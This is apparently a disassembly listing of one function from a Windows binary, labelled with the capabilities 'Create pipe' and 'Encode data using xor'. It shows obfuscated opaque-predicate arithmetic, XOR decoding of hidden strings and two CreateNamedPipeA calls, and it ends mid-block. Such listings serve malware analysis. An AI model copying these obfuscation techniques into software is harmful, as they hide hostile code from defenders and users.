Function at 0x100ba2d0
Capabilities:
Create pipe
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x34
mov eax, dword [0x10146298]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [0x10143f14]
add eax, dword [0x10143f18]
mov ecx, 0x6ad30c2a
xor edx, edx
div ecx
mov ecx, 0xe5e116c1
xor edx, edx
div ecx
and eax, 0xefd26546
imul eax, eax, 0x2538f096
xor eax, 0x8f78c442
mov ecx, 0xa7667ab7
xor edx, edx
div ecx
sub eax, 0xa091a950
imul eax, eax, 0x152355bb
imul eax, eax, 0x5da61209
imul eax, eax, 0x1d92a1d8
add eax, 0x76c77a3c
add eax, 0x27bd9694
add eax, 0x303f1b9
sub eax, 0x743fe61a
and eax, 0x2075542e
and eax, 0xe8e92b28
xor eax, 0x635745a
xor eax, 0x243d0bb4
imul eax, eax, 0x7d7c684
xor eax, 0x4b7a141b
cmp eax, 0xc55b6caa
je 0x100bbd31
mov eax, dword [0x10143f1c]
add eax, dword [0x10143f20]
or eax, 0xf7cf25ce
add eax, 0xe19fd828
mov ecx, 0x6b6c5794
xor edx, edx
div ecx
or eax, 0x32fdb792
and eax, 0xbcc44a41
or eax, 0xbc54dd8
xor eax, 0xd75f1d1f
sub eax, 0xe8e1d059
or eax, 0xba7faa0d
sub eax, 0x9cf6fc8b
and eax, 0xc1ebfdb0
xor eax, 0xf906adf8
xor eax, 0xe4571246
mov ecx, 0x3bca6619
xor edx, edx
div ecx
and eax, 0x774ea96a
or eax, 0xe006c0e
xor eax, 0x1b0e4fe6
mov ecx, 0x5718803e
xor edx, edx
div ecx
sub eax, 0xe104b8fa
imul eax, eax, 0x9da4c80d
cmp dword [0x10146e74], 0
sete cl
mov byte [ebp - 9], cl
cmp eax, 0xeb6122a8
jae 0x100bbd31
mov al, byte [ebp - 9]
test al, 1
jne 0x100ba410
jmp 0x100ba916
mov eax, dword [0x10143f24]
add eax, dword [0x10143f28]
xor eax, 0x3e495d00
add eax, 0xa24e8d2e
sub eax, 0x9f52c902
mov ecx, 0x60fc9792
xor edx, edx
div ecx
add eax, 0xc5780bca
mov ecx, 0x3cc7de99
xor edx, edx
div ecx
or eax, 0x39b2bbfc
or eax, 0x5cd22dc9
xor eax, 0x95f67d52
sub eax, 0x53575434
sub eax, 0xa40054d3
add eax, 0x7b100d48
and eax, 0x16bf5759
xor eax, 0x19183f13
sub eax, 0x169d9ea
xor eax, 0xadce6d36
and eax, 0xbcade5ad
sub eax, 0x7e8ab088
and eax, 0x4785703e
mov ecx, 0xe6e47ae3
xor edx, edx
div ecx
cmp eax, 0x343c6bd5
ja 0x100bbd3b
mov eax, dword [0x10143f2c]
or eax, dword [0x10143f30]
or eax, 0xd5fe820b
imul eax, eax, 0x4b587bf0
or eax, 0xbe5bea1c
and eax, 0x677933e1
or eax, 0x3e1acde5
add eax, 0x663d3756
and eax, 0x771e1974
or eax, 0x3858573c
xor eax, 0x42f54461
sub eax, 0xe306dcca
and eax, 0xf959765
add eax, 0x2ed3c1b
sub eax, 0xd9f7e250
or eax, 0x34724049
xor eax, 0xf4062f4d
or eax, 0x873715e7
and eax, 0x2368ba00
mov ecx, 0x3a60436e
xor edx, edx
div ecx
add eax, 0xc269b238
mov ecx, 0x65a6e70
xor edx, edx
div ecx
cmp eax, 0xf9a799a6
jae 0x100ba496
mov eax, dword [0x10143f34]
sub eax, dword [0x10143f38]
sub eax, 0x387bc1ba
sub eax, 0xc66be2c7
mov ecx, 0x6e0f2a08
xor edx, edx
div ecx
xor eax, 0x23c92ec0
sub eax, 0xadba4a09
or eax, 0x66809e25
imul eax, eax, 0x8e6c740f
sub eax, 0x5836ba39
or eax, 0x7131059f
add eax, 0xecc75fe0
imul eax, eax, 0x45fadfb7
sub eax, 0xff41e472
sub eax, 0xb63c20fe
mov ecx, 0x3551884e
xor edx, edx
div ecx
xor eax, 0x89661132
sub eax, 0xeb2918a0
and eax, 0x7f85daea
sub eax, 0xf0da46f8
or eax, 0xbca56e56
xor eax, 0x14e2be46
cmp eax, 0x1ec73be3
jbe 0x100bb62c
mov eax, dword [0x10143f3c]
and eax, dword [0x10143f40]
or eax, 0x9690a5b7
mov ecx, 0xe11bfa9e
xor edx, edx
div ecx
imul eax, eax, 0xfd91bdd7
imul eax, eax, 0x6ced23d1
xor eax, 0xbca8cd51
imul eax, eax, 0x4d7c3ab2
add eax, 0x28c24ac0
and eax, 0xb77d2670
sub eax, 0x861c1486
imul eax, eax, 0x1c14ae32
imul eax, eax, 0x4423098c
xor eax, 0x21f1b213
and eax, 0x7d7be6c0
imul eax, eax, 0x302291fd
or eax, 0xdcbc63dd
imul eax, eax, 0x634db304
and eax, 0x9473f3a2
xor eax, 0xfa820982
and eax, 0xa158ca96
imul eax, eax, 0x7e841ffa
mov cl, byte [0x1013a230]
xor cl, 0xa6
mov byte [0x1013a250], cl
mov cl, byte [0x1013a231]
xor cl, 5
mov byte [0x1013a252], cl
mov cl, byte [0x1013a232]
xor cl, 0x89
mov byte [0x1013a253], cl
mov cl, byte [0x1013a233]
xor cl, 0x70
mov byte [0x1013a254], cl
mov cl, byte [0x1013a234]
xor cl, 0x71
mov byte [0x1013a255], cl
mov cl, byte [0x1013a235]
xor cl, 0xf4
mov byte [0x1013a256], cl
mov cl, byte [0x1013a236]
xor cl, 0x4e
mov byte [0x1013a257], cl
mov cl, byte [0x1013a237]
xor cl, 0x27
mov byte [0x1013a258], cl
mov cl, byte [0x1013a238]
xor cl, 0x8c
mov byte [0x1013a259], cl
mov cl, byte [0x1013a239]
xor cl, 0x99
mov byte [0x1013a25a], cl
mov cl, byte [0x1013a23a]
xor cl, 0x36
mov byte [0x1013a25b], cl
mov cl, byte [0x1013a23b]
xor cl, 0xcc
mov byte [0x1013a25c], cl
mov cl, byte [0x1013a23c]
xor cl, 0x72
mov byte [0x1013a25d], cl
mov cl, byte [0x1013a23d]
xor cl, 0x55
mov byte [0x1013a25e], cl
mov cl, byte [0x1013a23e]
xor cl, 0x83
mov byte [0x1013a25f], cl
mov cl, byte [0x1013a23f]
xor cl, 0xa5
mov byte [str._s_r_dGAs], cl
mov cl, byte [0x1013a240]
xor cl, 0x5a
mov byte [0x1013a261], cl
mov cl, byte [0x1013a241]
xor cl, 0xf5
mov byte [0x1013a263], cl
mov cl, byte [0x1013a242]
xor cl, 0x20
mov byte [0x1013a264], cl
mov cl, byte [0x1013a243]
xor cl, 0x53
mov byte [0x1013a265], cl
mov cl, byte [0x1013a244]
xor cl, 0x88
mov byte [0x1013a266], cl
mov cl, byte [0x1013a245]
xor cl, 0x12
mov byte [0x1013a267], cl
mov cl, byte [0x1013a246]
xor cl, 0xa2
mov byte [0x1013a269], cl
mov cl, byte [0x1013a247]
xor cl, 5
mov byte [0x1013a26a], cl
mov cl, byte [0x1013a248]
xor cl, 0x1d
mov byte [0x1013a26b], cl
mov cl, byte [0x1013a270]
xor cl, 0xd6
mov byte [0x1013a290], cl
mov cl, byte [0x1013a271]
xor cl, 0x53
mov byte [0x1013a291], cl
mov cl, byte [0x1013a272]
xor cl, 0x79
mov byte [0x1013a292], cl
mov cl, byte [0x1013a273]
xor cl, 0xa4
mov byte [0x1013a293], cl
mov cl, byte [0x1013a274]
xor cl, 0xb7
mov byte [0x1013a295], cl
mov cl, byte [0x1013a275]
xor cl, 0xe6
mov byte [0x1013a296], cl
mov cl, byte [0x1013a276]
xor cl, 0xf1
mov byte [0x1013a297], cl
mov cl, byte [0x1013a277]
xor cl, 0x1e
mov byte [0x1013a298], cl
mov cl, byte [0x1013a278]
xor cl, 0x9c
mov byte [0x1013a299], cl
mov cl, byte [0x1013a279]
xor cl, 0xbe
mov byte [0x1013a29a], cl
mov cl, byte [0x1013a27a]
xor cl, 0xe8
mov byte [0x1013a29b], cl
mov cl, byte [0x1013a27b]
xor cl, 0x1b
mov byte [0x1013a29c], cl
mov cl, byte [0x1013a27c]
xor cl, 0x4e
mov byte [0x1013a29d], cl
mov cl, byte [0x1013a27d]
xor cl, 0x72
mov byte [str.F_8ws], cl
mov cl, byte [0x1013a27e]
xor cl, 0xed
mov byte [0x1013a29f], cl
mov cl, byte [0x1013a27f]
xor cl, 0x73
mov byte [0x1013a2a0], cl
mov cl, byte [0x1013a280]
xor cl, 0x34
mov byte [0x1013a2a3], cl
mov cl, byte [0x1013a281]
xor cl, 0xbe
mov byte [0x1013a2a4], cl
mov cl, byte [0x1013a282]
xor cl, 0xe2
mov byte [0x1013a2a5], cl
mov cl, byte [0x1013a283]
xor cl, 0x4a
mov byte [0x1013a2a7], cl
mov cl, byte [0x1013a284]
xor cl, 0xdd
mov byte [0x1013a2a8], cl
mov cl, byte [0x1013a285]
xor cl, 0x90
mov byte [str.rFL], cl
mov cl, byte [0x1013a286]
xor cl, 0xf4
mov byte [0x1013a2aa], cl
mov cl, byte [0x1013a287]
xor cl, 9
mov byte [0x1013a2ab], cl
mov cl, byte [0x1013a288]
xor cl, 0x12
mov byte [0x1013a2ac], cl
cmp eax, 0x436030a9
jbe 0x100bb62c
jmp 0x100ba916
mov eax, dword [0x10143f44]
imul eax, dword [0x10143f48]
add eax, 0x7a6d4951
or eax, 0x64d110e2
imul eax, eax, 0x71e526ad
and eax, 0x1706de3c
and eax, 0x5b369d68
or eax, 0xdb09701f
add eax, 0xd621b384
and eax, 0xaf58af35
sub eax, 0xb8537e6f
imul eax, eax, 0xfa3cae07
add eax, 0x881f1a31
or eax, 0x8d9dc4e3
or eax, 0x5c574919
xor eax, 0xe8e33886
or eax, 0x18150ced
add eax, 0x66bec05a
sub eax, 0xba4ce56
and eax, 0xbc889a7f
mov ecx, 0x5ed48566
xor edx, edx
div ecx
add eax, 0x3676c2fb
cmp eax, 0x537af487
je 0x100bba2c
mov eax, dword [0x10143f4c]
xor eax, dword [0x10143f50]
mov ecx, 0x99303750
xor edx, edx
div ecx
and eax, 0xc3799281
add eax, 0x54b98e16
add eax, 0xea6c1279
and eax, 0xa5dfd2c2
xor eax, 0x79f62292
sub eax, 0x35e7281b
sub eax, 0x5dea1bcf
and eax, 0x37195bf5
imul eax, eax, 0xd2563643
mov ecx, 0xecd67214
xor edx, edx
div ecx
and eax, 0xe9f3550c
mov ecx, 0x4f2befbe
xor edx, edx
div ecx
imul eax, eax, 0xb502dbb4
mov ecx, 0x914c4fd7
xor edx, edx
div ecx
add eax, 0xcc73611f
sub eax, 0xd7d08b8f
xor eax, 0x6971df1d
add eax, 0xe7574293
mov ecx, 0xd6199699
xor edx, edx
div ecx
cmp eax, 0xf9211394
jae 0x100bbd40
mov eax, 0xddc0b1f4
mov dword [ebp - 0x10], eax
mov dword [0x10146e74], 1
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x1c], ecx
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x18], eax
lea eax, [0x1013a290]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1d
call fcn.100e61f0
mov ecx, dword [ebp - 0x18]
add esp, 0xc
lea eax, [0x1013a250]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.100e61f0
mov dword [esp], 0xc
mov dword [esp + 4], 0x1a
mov dword [esp + 8], 0x2e
call fcn.1005a0c0
add esp, 0xc
mov eax, dword [ebp - 0x18]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0x14]
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov edx, 0xffffffff
cmp ecx, edx
sete cl
mov byte [ebp - 0xa], cl
cmp eax, 0xcc07a43c
jb 0x100baa27
mov eax, dword [0x10143f5c]
sub eax, dword [0x10143f60]
imul eax, eax, 0x53cf9d8e
imul eax, eax, 0xc1c1066b
sub eax, 0x49d2473e
add eax, 0x207314ad
sub eax, 0x196e26b9
or eax, 0xc1096f8b
and eax, 0x82ec88b7
or eax, 0xd1278dcc
and eax, 0xb3c15d99
xor eax, 0xb6f1ada8
xor eax, 0xf1ee5b7e
mov ecx, 0xd41e886a
xor edx, edx
div ecx
mov ecx, 0xda13314b
xor edx, edx
div ecx
imul eax, eax, 0xe73a6f6d
mov ecx, 0x329aa1d2
xor edx, edx
div ecx
xor eax, 0x108401a9
sub eax, 0xa66c74b2
xor eax, 0x6faf768e
add eax, 0x4cfe6fa9
imul eax, eax, 0x829ac8f3
cmp eax, 0x95eee4fd
jb 0x100bba2c
mov eax, dword [0x10143f64]
xor edx, edx
div dword [0x10143f68]
sub eax, 0x688df987
sub eax, 0xc57586e7
sub eax, 0x30c8506
sub eax, 0x8299c7df
sub eax, 0xbfdaec43
imul eax, eax, 0x6b467e4
add eax, 0x76952da5
xor eax, 0x2c42d5d1
sub eax, 0xf43d8fa8
imul eax, eax, 0x2aa5992c
or eax, 0x478e5a42
mov ecx, 0xb443bfb
xor edx, edx
div ecx
imul eax, eax, 0xba2a20b1
imul eax, eax, 0x2a9a44b6
and eax, 0x8ddf783f
or eax, 0xf24fd636
xor eax, 0x6ccd1457
xor eax, 0x75aef1fc
imul eax, eax, 0xc4a58a3a
xor eax, 0xc6d140df
cmp eax, 0xc656bd9
jbe 0x100bbe13
mov eax, dword [0x10143f6c]
xor edx, edx
div dword [0x10143f70]
sub eax, 0xdd92d5ac
and eax, 0x30c76c23
add eax, 0x8a0b7ce7
and eax, 0x2718cf97
imul eax, eax, 0x872e08a0
mov ecx, 0x51d9bbc5
xor edx, edx
div ecx
and eax, 0x461eefab
or eax, 0x2e771f0
sub eax, 0x91e37485
add eax, 0x84afcab7
sub eax, 0x181dfbd8
or eax, 0xa20eb416
imul eax, eax, 0x1bc53714
xor eax, 0x92ff2b55
or eax, 0x863f583e
or eax, 0xc2b814d5
and eax, 0xe65baf4f
xor eax, 0xbb8a2c44
and eax, 0x21cf8da7
sub eax, 0xc12f2151
cmp eax, 0xae8ceab8
je 0x100bac36
mov al, byte [ebp - 0xa]
test al, 1
jne 0x100bacc8
jmp 0x100baded
mov eax, dword [0x10143f74]
xor edx, edx
div dword [0x10143f78]
and eax, 0x745ac9cc
or eax, 0x8754fff9
mov ecx, 0xa324999f
xor edx, edx
div ecx
sub eax, 0x31e6e9e7
sub eax, 0xaf5d7c53
imul eax, eax, 0xe18f1256
xor eax, 0x3cdd9632
xor eax, 0x6f8cdacf
sub eax, 0x3e518001
sub eax, 0xd3242ecb
imul eax, eax, 0xdfac9a2d
mov ecx, 0xa3f7a5c5
xor edx, edx
div ecx
or eax, 0x508580f
imul eax, eax, 0x6c9fbfbc
add eax, 0x21fd38bc
mov ecx, 0x41e44cde
xor edx, edx
div ecx
imul eax, eax, 0xae522d0
add eax, 0xb957dc8c
sub eax, 0x26e107dc
or eax, 0x79a529a2
cmp eax, 0x46641568
jb 0x100bbe18
mov ecx, dword [ebp - 0x24]
mov eax, dword [0x10143f7c]
or eax, dword [0x10143f80]
add eax, 0xd2a30f17
add eax, 0xd7c53cf
sub eax, 0x64bb69d6
or eax, 0xabc321c3
mov esi, 0x8101c89a
xor edx, edx
div esi
or eax, 0xdd42443c
mov esi, 0xcd8b3a7f
xor edx, edx
div esi
sub eax, 0x81cb5b01
mov esi, 0xc58945ca
xor edx, edx
div esi
add eax, 0x75d2909f
and eax, 0x8e59c01
and eax, 0xfdc18e1c
add eax, 0x9718d80e
sub eax, 0xc0f43749
or eax, 0xa7fad4c4
mov esi, 0x24cf787a
xor edx, edx
div esi
and eax, 0x628b137b
add eax, 0x87d81e4f
imul eax, eax, 0xc9040010
and eax, 0x2c8a1bc6
mov dword [ecx], 1
cmp eax, 0x39f8f6e4
jae 0x100bbe18
jmp 0x100bb4fc
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, eax
mov eax, dword [ebp - 0x20]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, 0xffffffff
cmp eax, ecx
je 0x100bb2d6
mov eax, dword [0x10143f84]
imul eax, dword [0x10143f88]
or eax, 0x6378c86a
add eax, 0x63b323c5
mov ecx, 0x8dd6af0f
xor edx, edx
div ecx
mov ecx, 0x2a256669
xor edx, edx
div ecx
sub eax, 0x50806cad
imul eax, eax, 0x77751c48
sub eax, 0x3f0abb0f
imul eax, eax, 0x41065f64
sub eax, 0xcc15d277
add eax, 0x9e47e900
mov ecx, 0x119b7f96
xor edx, edx
div ecx
sub eax, 0x36a067f1
and eax, 0xa5dad32e
add eax, 0x1d045bbc
or eax, 0x1cf9f6e1
or eax, 0xb607e156
mov ecx, 0x235f8345
xor edx, edx
div ecx
sub eax, 0x74a7cd7d
add eax, 0x5888c259
mov ecx, 0xa8901a11
xor edx, edx
div ecx
cmp eax, 0xc47e3c03
jae 0x100bbe26
mov eax, dword [0x10143f8c]
and eax, dword [0x10143f90]
mov ecx, 0xd646305c
xor edx, edx
div ecx
mov ecx, 0xc19f9548
xor edx, edx
div ecx
or eax, 0xbb95cdc8
and eax, 0x1fd14fa1
or eax, 0x7f5f21fa
and eax, 0x9eb67515
sub eax, 0x47809ed4
or eax, 0x25dd81e0
and eax, 0x695a212e
mov ecx, 0x4dfcd858
xor edx, edx
div ecx
xor eax, 0xbf080c17
and eax, 0xf4743cf2
add eax, 0x98418b09
add eax, 0x8174a3d1
sub eax, 0x65a3a5f0
xor eax, 0x18928b79
imul eax, eax, 0xb21e316b
sub eax, 0x99d20bfd
xor eax, 0x5b881389
and eax, 0x2550aa95
cmp eax, 0xce7b9896
jae 0x100bbe26
mov eax, dword [0x10143f94]
imul eax, dword [0x10143f98]
sub eax, 0x8cb71c6a
mov ecx, 0x603fd620
xor edx, edx
div ecx
xor eax, 0xac729b8
add eax, 0x67df8b47
imul eax, eax, 0xccf7089e
or eax, 0x1087da93
imul eax, eax, 0xb932ac
sub eax, 0x98ac9f78
and eax, 0x2b45210e
add eax, 0xc79813f8
and eax, 0xf3ccd11e
and eax, 0x4092723c
mov ecx, 0x52bf9c3c
xor edx, edx
div ecx
sub eax, 0xee4de81b
mov ecx, 0xdeea8889
xor edx, edx
div ecx
or eax, 0xbf890f0
add eax, 0xe8600bcb
xor eax, 0x2c45f4ce
or eax, 0x2c067cbe
xor eax, 0x2b6d86ca
cmp eax, 0x2bc0a507
je 0x100bbaff
mov eax, dword [0x10143f9c]
imul eax, dword [0x10143fa0]
and eax, 0x357b8512
add eax, 0xd9f57141
add eax, 0x626875df
sub eax, 0x8f36a835
mov ecx, 0xbc54219c
xor edx, edx
div ecx
xor eax, 0x5cfc7af
or eax, 0xf81f8923
imul eax, eax, 0xc2cbc233
mov ecx, 0x7ece500f
xor edx, edx
div ecx
mov ecx, 0x36516cf9
xor edx, edx
div ecx
imul eax, eax, 0x862dbf05
or eax, 0xfa8560be
imul eax, eax, 0x1704624
mov ecx, 0x3dc3dae9
xor edx, edx
div ecx
sub eax, 0xe7cb1aec
imul eax, eax, 0x81b78ab7
or eax, 0x4e49b1a6
imul eax, eax, 0xc4e42cc2
add eax, 0xcb3831ca
xor eax, 0xf344d6e8
cmp eax, 0xd5b3d6cb
ja 0x100bbe2b
mov ecx, dword [ebp - 0x24]
mov eax, dword [0x10143fa4]
add eax, dword [0x10143fa8]
or eax, 0xed323b75
or eax, 0x45b49177
or eax, 0x209b7490
and eax, 0x6d8831e5
sub eax, 0xa60e8975
add eax, 0xd36c40c6
and eax, 0x367ad2ab
xor eax, 0x37266074
and eax, 0xd1224fa5
mov esi, 0x7324c514
xor edx, edx
div esi
and eax, 0x9c646b4f
or eax, 0x9b41a848
imul eax, eax, 0x7ab3f841
add eax, 0x2f7519af
add eax, 0xd9db2134
and eax, 0x574cbeae
xor eax, 0x6d0f3ba9
and eax, 0xe2c643ba
and eax, 0x4cf3b670
and eax, 0xc1ac8901
mov dword [ecx], 1
cmp eax, 0x4ecc98ff
ja 0x100bbe2b
mov eax, dword [0x10143fac]
xor edx, edx
div dword [0x10143fb0]
and eax, 0x106b8259
mov ecx, 0x91ac8425
xor edx, edx
div ecx
sub eax, 0x6100cfc0
or eax, 0x271bbf9b
and eax, 0xcee38989
mov ecx, 0x593c3908
xor edx, edx
div ecx
mov ecx, 0xaa4a9971
xor edx, edx
div ecx
add eax, 0xe275a80d
sub eax, 0x5c77ff22
or eax, 0x361f5c7a
mov ecx, 0xf859a93f
xor edx, edx
div ecx
and eax, 0x232694be
xor eax, 0xba591971
mov ecx, 0xda291886
xor edx, edx
div ecx
and eax, 0x9bff82d3
sub eax, 0x98a987eb
add eax, 0x325ab151
and eax, 0x56c52f23
mov ecx, 0x8a513c9a
xor edx, edx
div ecx
imul eax, eax, 0xd5073577
cmp eax, 0xe65da6cd
je 0x100bb00e
mov eax, dword [0x10143fb4]
imul eax, dword [0x10143fb8]
imul eax, eax, 0x2e9665f2
imul eax, eax, 0x22ffb24e
and eax, 0xde2b974c
add eax, 0x2b3d3df2
imul eax, eax, 0x7b1c12f8
add eax, 0x6b515ff9
and eax, 0xc1bd6c34
xor eax, 0xee908b2e
sub eax, 0x53b98242
add eax, 0x11fa9a47
and eax, 0x2557937c
and eax, 0x82a24e43
or eax, 0xcaf403e3
and eax, 0xc913a57e
and eax, 0xee8ccef4
imul eax, eax, 0x322ec2fe
sub eax, 0x3032044b
and eax, 0xf0d647a3
mov ecx, 0x5ba2bcad
xor edx, edx
div ecx
add eax, 0x92cb5d7
cmp eax, 0xc96e7cc4
je 0x100bbe39
mov eax, dword [0x10143fbc]
xor edx, edx
div dword [0x10143fc0]
or eax, 0xbce9f5b0
sub eax, 0xc7019564
add eax, 0xbcd2b365
sub eax, 0x504c113d
mov ecx, 0xbe6cd9fa
xor edx, edx
div ecx
imul eax, eax, 0xebae60b6
imul eax, eax, 0x9eec1450
add eax, 0x9300dd56
add eax, 0xa46496a8
xor eax, 0x357d4e46
xor eax, 0xec61d4b3
mov ecx, 0xdeac1ca1
xor edx, edx
div ecx
mov ecx, 0x12f5680c
xor edx, edx
div ecx
mov ecx, 0x8318ee0f
xor edx, edx
div ecx
sub eax, 0xa6735d2b
imul eax, eax, 0x39940f3b
and eax, 0x65f3764a
and eax, 0xf4baa34a
mov ecx, 0x3aa9bbd5
xor edx, edx
div ecx
and eax, 0x1551262
cmp eax, 0x8e01f087
je 0x100bb23e
jmp 0x100bb4fc
mov eax, dword [0x10143fc4]
sub eax, dword [0x10143fc8]
xor eax, 0xb11102b
or eax, 0x12ca27b3
or eax, 0x7fc3ca41
add eax, 0xe9069064
or eax, 0x6d11e7d3
sub eax, 0x32916f01
and eax, 0xeed7b6d0
or eax, 0x138bb3c2
xor eax, 0xdc9d79fe
add eax, 0xd42c4963
and eax, 0x9a23c11b
add eax, 0xfa01bb05
xor eax, 0x407a26a6
or eax, 0xb4db7337
and eax, 0xf5057765
imul eax, eax, 0x4d47d684
sub eax, 0xbc654dbe
or eax, 0xc8dcb699
and eax, 0xcf87de5a
xor eax, 0xa06c50e3
cmp eax, 0x8e7439b6
ja 0x100bbc13
mov ecx, dword [ebp - 0x24]
mov eax, dword [0x10143fcc]
xor eax, dword [0x10143fd0]
and eax, 0x779421ac
mov esi, 0xb17a49e6
xor edx, edx
div esi
sub eax, 0xbaa246c7
add eax, 0x24a6e24e
and eax, 0x8476cadd
or eax, 0x93f7d30f
mov esi, 0x254b1de
xor edx, edx
div esi
mov esi, 0x86d3f8b5
xor edx, edx
div esi
or eax, 0xa922f22f
add eax, 0x29a0f0e4
and eax, 0xd4eed950
mov esi, 0x95ddaba6
xor edx, edx
div esi
add eax, 0x29b6d684
add eax, 0x345a6178
xor eax, 0x61407f57
xor eax, 0x7e60dbf
imul eax, eax, 0x6abbe8a4
and eax, 0x1c2c5368
sub eax, 0x6c27afdf
add eax, 0x47f217af
mov dword [ecx], 0
cmp eax, 0xb56f161f
jb 0x100bb351
mov eax, dword [0x10143fd4]
imul eax, dword [0x10143fd8]
add eax, 0xadb12fc3
xor eax, 0x2b7a460d
or eax, 0x9c94ef15
imul eax, eax, 0xb9d6dfca
mov ecx, 0xe79d9b53
xor edx, edx
div ecx
add eax, 0x516fdec7
imul eax, eax, 0x71e4dea3
add eax, 0xc701f4f4
xor eax, 0xe428df0b
imul eax, eax, 0x4c95044
add eax, 0xb9d1e6c0
xor eax, 0xd6af7fe6
xor eax, 0x781508c1
imul eax, eax, 0x5298ce31
xor eax, 0xfea934b8
xor eax, 0x14d0edfa
mov ecx, 0x74f92f9b
xor edx, edx
div ecx
and eax, 0xf5f3ce35
add eax, 0xa03c39d0
or eax, 0x89c980b2
cmp eax, 0x44fe6dfd
je 0x100bbe3e
mov eax, dword [0x10143fdc]
xor edx, edx
div dword [0x10143fe0]
and eax, 0x22eb1d16
imul eax, eax, 0x187c830e
or eax, 0x256b4802
mov ecx, 0x15800dd
xor edx, edx
div ecx
sub eax, 0x3e48889c
and eax, 0xa435bf26
sub eax, 0x74fcc772
add eax, 0x64c905f1
xor eax, 0xa62e297f
mov ecx, 0xe3189327
xor edx, edx
div ecx
imul eax, eax, 0x27ad2279
mov ecx, 0xcad7e6aa
xor edx, edx
div ecx
sub eax, 0x41675e1b
sub eax, 0x30ee2391
imul eax, eax, 0x2b2ecde9
or eax, 0xdf90320d
and eax, 0x3d9c2711
and eax, 0x4cf1cd60
xor eax, 0x1f643f06
and eax, 0x3000853
cmp eax, 0xcce44920
jae 0x100bbe3e
jmp 0x100bb4fc
mov eax, dword [0x10143fe4]
and eax, dword [0x10143fe8]
add eax, 0x7aaebd0b
or eax, 0xd112c208
imul eax, eax, 0xe4d45a0d
imul eax, eax, 0xbde1b412
xor eax, 0x21ce709a
and eax, 0xce4a8e51
imul eax, eax, 0xd7b7bb6e
or eax, 0x8b324865
add eax, 0x985279c2
sub eax, 0xc2545b3e
add eax, 0xb87c9788
sub eax, 0x7ac0f525
and eax, 0xfdff1501
or eax, 0x7a936385
and eax, 0xc05d234e
xor eax, 0xbc428405
mov ecx, 0x14d54aa6
xor edx, edx
div ecx
xor eax, 0x299aff9d
mov ecx, 0xcf887cab
xor edx, edx
div ecx
and eax, 0x5c720868
cmp eax, 0xd527c800
je 0x100bbe43
mov ecx, dword [ebp - 0x24]
mov eax, dword [str._EwW]
add eax, dword [0x10143ff0]
and eax, 0x20be189
and eax, 0x89ceff92
imul eax, eax, 0x51d9078
mov esi, 0xf40f0aeb
xor edx, edx
div esi
imul eax, eax, 0xd28d8fa2
mov esi, 0x608460f5
xor edx, edx
div esi
and eax, 0x7afbb31b
imul eax, eax, 0x2e51d3ea
xor eax, 0xc4c24d66
or eax, 0x8dd6b6ce
add eax, 0x2f530647
xor eax, 0x1d3e4785
sub eax, 0xde9ef335
mov esi, 0xb3ebe7f0
xor edx, edx
div esi
imul eax, eax, 0x1709f4dc
or eax, 0x3cd64075
mov esi, 0x92425f64
xor edx, edx
div esi
imul eax, eax, 0x8f9dd89c
add eax, 0x73510815
imul eax, eax, 0x7a8d1752
mov ecx, dword [ecx]
mov dword [ebp - 0x28], ecx
cmp eax, 0x75c8ffaf
jbe 0x100bbe43
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100e332f
mov eax, dword [ebp - 0x28]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [0x10143ff4]
sub eax, dword [0x10143ff8]
sub eax, 0xcd5bbc67
and eax, 0xca46760
add eax, 0xf1fdd953
xor eax, 0x5b8925d0
or eax, 0x69894618
mov ecx, 0xe0a35883
xor edx, edx
div ecx
sub eax, 0x5c6614bf
xor eax, 0x3bf40e38
mov ecx, 0xab1e9190
xor edx, edx
div ecx
add eax, 0xa95299d3
add eax, 0x37dfa15c
and eax, 0xaa7d2dd3
mov ecx, 0xaab4f031
xor edx, edx
div ecx
mov ecx, 0x28e851c5
xor edx, edx
div ecx
xor eax, 0x74697ee2
imul eax, eax, 0xdb3c0f2c
imul eax, eax, 0x1a7fb57d
or eax, 0x9a774381
and eax, 0x56d3ba0a
and eax, 0x7c2f338
cmp eax, 0x59e3a39e
jae 0x100bbe48
mov eax, dword [0x10143ffc]
sub eax, dword [0x10144000]
imul eax, eax, 0xce182efe
and eax, 0xbaaa84a3
and eax, 0x54316e11
and eax, 0x3731f719
add eax, 0x9142aabd
imul eax, eax, 0xc86d0f58
mov ecx, 0xaf79036d
xor edx, edx
div ecx
xor eax, 0x4c8d60d6
or eax, 0x2c4ea5c4
imul eax, eax, 0x279b998c
or eax, 0xd761cc33
sub eax, 0x6256df60
and eax, 0xf8d6f730
sub eax, 0xae0d8d6
sub eax, 0x2990b81
add eax, 0x5db5387f
sub eax, 0xeb15f28b
sub eax, 0xa25aa623
sub eax, 0x61c6793b
add eax, 0x564746ea
mov cl, byte [0x1013a230]
xor cl, 0xa6
